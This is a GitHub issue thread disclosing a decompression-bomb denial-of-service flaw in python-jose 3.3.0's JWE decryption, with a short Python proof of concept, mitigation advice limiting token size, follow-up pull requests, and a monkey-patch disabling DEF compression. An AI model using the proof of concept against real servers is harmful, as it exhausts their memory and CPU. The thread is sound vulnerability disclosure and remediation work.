Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Vuln] JWT bomb Attack in decode function #344

Open
P3ngu1nW opened this issue Mar 11, 2024 · 9 comments
Open

[Vuln] JWT bomb Attack in decode function #344

P3ngu1nW opened this issue Mar 11, 2024 · 9 comments

Comments

@P3ngu1nW
Copy link

JWT bomb Attack in decode function

0x01 Affected version

vendor: https://github.com/mpdavis/python-jose

version: 3.3.0

0x02 What kind of vulnerability is it? Who is impacted?

This vulnerability allows an attacker to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.

0x03 Vulnerability details

The Proof of Concept (PoC) below demonstrates how this vulnerability can lead to a DoS attack:

from jose import jwe

import time

s = '{"u": "' + "u" * 40000000 + '", "uu":"' + "u" * 40000000 + '"}'

print(len(s))

v1 = jwe.encrypt(s, b'asecret128bitkey', algorithm='A128KW', zip='DEF', encryption='A128GCM')

print(len(v1))

begin = time.time()

jwe.decrypt(v1, b'asecret128bitkey')

print(time.time() - begin)

s = '{"u": "' + "u" * 40000 + '", "uu":"' + "u" * 40000 + '"}'

v2 = jwe.encrypt(s, b'asecret128bitkey', algorithm='A128KW', encryption='A128GCM')

begin = time.time()

print(len(v2))

jwe.decrypt(v2, b'asecret128bitkey')

print(time.time() - begin)

This vulnerability is demonstrated by comparing the processing times of a compressed token to an uncompressed token of the same length. The compressed token's processing time is significantly higher, showcasing the vulnerability's potential impact.

0x04 Mitigation

To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also
been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing
attackers from exploiting this vulnerability with high compression ratio tokens.

0x05 References

[1] CVE-2024-21319

@princekhunt
Copy link

Hello @P3ngu1nW

I'm fairly new to this field, so please bear with me. I've been trying to understand this issue and have read up on the JWT bomb attack.

To tackle it, do we simply need to cap the token size at 250K? If so, I've made the necessary changes in the decrypt function of my forked repository. Could you please review it and let me know if there's anything else required?

Check the update

Thank You,
Prince

@P3ngu1nW
Copy link
Author

Hi!
I think that's reasonable.
Thank you!

@princekhunt
Copy link

Hello,

Thanks for the confirmation!.
Created PR #345

@smittysmee
Copy link

Following up on this.

@alistairwatts
Copy link

I've created a more comprehensive pull request which includes tests: #352

@stigtsp
Copy link

stigtsp commented May 7, 2024

This is CVE-2024-33664

@heidemn-faro
Copy link

@P3ngu1nW or @alistairwatts, thanks for reporting this CVE. It seems to be specific to tokens with compression.
If I know that for my application, all valid tokens are uncompressed, is there a way how I could disable compression support in python-jose?

I also don't quite understand which functions of the library are affected:

  • Issue title: "JWT bomb Attack in decode function" -> do you mean jwt.decode()?
  • Your example code is using jwe.decrypt().
  • Is jwt.decode() affected or not?

Your description has a section "Who is impacted?", which is a good idea, but unfortunately does not contain enough information for non-crypto-experts to determine if their library usage is safe regarding this CVE or not.

@alistairwatts
Copy link

alistairwatts commented May 8, 2024

@heidemn-faro, if your application is not supporting encrypted tokens, then it doesn't look like the vulnerability affects you. You should be fine if you're not using jose.jwe, but please check this for yourself. If you wanted to be sure that this vulnerability doesn't affect your application then you could consider removing jwe.py from the jose package and checking your application is unaffected.

If jose.jwe is used then the following will monkey-patch the library and remove support for the DEF compression.

import jose.constants
jose.constants.ZIPS.SUPPORTED.discard('DEF')

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

7 participants